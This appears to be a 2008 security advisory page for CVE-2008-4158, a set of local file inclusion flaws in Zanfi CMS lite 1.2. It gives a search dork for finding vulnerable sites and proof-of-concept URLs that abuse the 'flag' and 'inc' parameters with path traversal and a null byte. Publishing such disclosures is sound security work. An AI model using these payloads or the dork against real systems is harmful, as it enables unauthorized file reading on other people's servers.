Bug: Zanfi CMS lite 1.2 Multiple Local File Inclusion Vulnerabilities ( Ascii Version )

Search:
WLB2

Zanfi CMS lite 1.2 Multiple Local File Inclusion Vulnerabilities

Published
Credit
Risk
2008.09.24
SirGod
Medium
CWE
CVE
Local
Remote
CWE-22
CVE-2008-4158
No
Yes
 Dork: Powered by: Zanfi Solutions

CVSS Base Score
Impact Subscore
Exploitability Subscore
6.8/10
6.4/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

############################################################################################################
[+]Zanfi CMS lite / Jaw Portal free (index.php page) Multiple Local File Inclusion
[+]Discovered by SirGod
[+]MorTal TeaM
[+]Greetz E.M.I.N.EM,Ras,Puscas_marin,ToxicBlood,HrN,Kemrayz,007m
############################################################################################################

[+] Dork : Powered by: Zanfi Solutions

[+] Local File Inclusion

PoC :

http://[target]/[Path]index.php?flag=[Local File]%00

Example :

http://127.0.0.1/index.php?flag=../../../autoexec.bat%00


PoC :

http://[target]/[Path]/index.php?inc=[Local File]%00

Example :

http://127.0.0.1/index.php?inc=../../../autoexec.bat%00

############################################################################################################

References:

http://xforce.iss.net/xforce/xfdb/45027

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version